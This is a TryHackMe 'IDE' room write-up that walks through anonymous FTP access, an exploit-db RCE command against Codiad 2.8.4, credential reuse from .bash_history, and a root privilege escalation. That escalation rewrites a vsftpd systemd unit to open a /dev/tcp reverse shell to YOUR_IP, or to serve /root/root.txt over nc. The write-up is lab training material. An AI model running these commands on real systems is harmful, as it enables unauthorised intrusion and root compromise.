IDE Try Hack Me Write-Up | /usr/sbin/service vsftpd restart Privilege Escalation

 

Hey Hackers, below is the Writeup for IDE Try hack me room.

You can find this room here:https://tryhackme.com/room/ide

As usual, start with an nmap scan to see what the box is running:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.246.255
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
62337/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Codiad 2.8.4
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Unix

As we can see, port 21 FTP is open and allows anonymous access. Connect and grab the hidden(?) file …/- (directory name is … and filename is –). You might want to rename the file on your system so it’s easier to work with. Inside it you’ll find 2 possible usernames.

Hey john,
I have reset the password as you have asked. Please use the default password to login.
Also, please take care of the image file ;)
– drac.

It also mentions a default password, let’s find out where that is used. As seen from the nmap scan, there’s an HTTP server running on port 62337. As we can see by the login prompt it’s running Codiad 2.8.4, and searching exploit-db we can find an authenticated RCE exploit for it.

https://www.exploit-db.com/exploits/49705

Google for the default credentials for codiad. Use this on the exploit script:

python codiad.py http://MACHINE_IP:62337/ john password YOUR_IP PORT linux

With this we get a shell and can upgrade it to be able to use sudo etc:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Doing some enumeration we see that we can read /home/drac/.bash_history, which includes a password for mysql. Use it to authenticate as drac.

PrivEsc

Befor we began with escalation, would like to tell you that there are many was to escalate the privilege in linux to learn you can read the below blog which includes my methodology to root a linux OS.

How to Escalate Privileges in Linux | Privilege Escalation Techniques

Hey Hackers!!!!

systemweakness.com

As drac, run sudo -l and notice that we can run ‘/usr/sbin/service vsftpd restart‘ as drac, and that the file ‘/etc/systemd/system/multi-user.target.wants/vsftpd.service‘ can be written to. This will be our PrivEsc vector.

Edit the file to spawn a reverse shell as root:

[Unit]
Description=vsftpd FTP server
After=network.target[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1'[Install]
WantedBy=multi-user.target

You need to reload the systemctl daemon before you can execute the altered script:

systemctl daemon-reload

After which you can run:

sudo /usr/sbin/service vsftpd restart

and get a reverse shell as root to your netcat listener.

Else if you only want root.txt can modify vsftpd.service file like below

[Unit]
Description=vsftpd FTP server
After=network.target[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'nc -nlvp 3131 < /root/root.txt'[Install]
WantedBy=multi-user.target

Reload the systemctl daemon again and connect to this port you will get your root.txt.

Keep Coming for more.

Happy Hacking!!!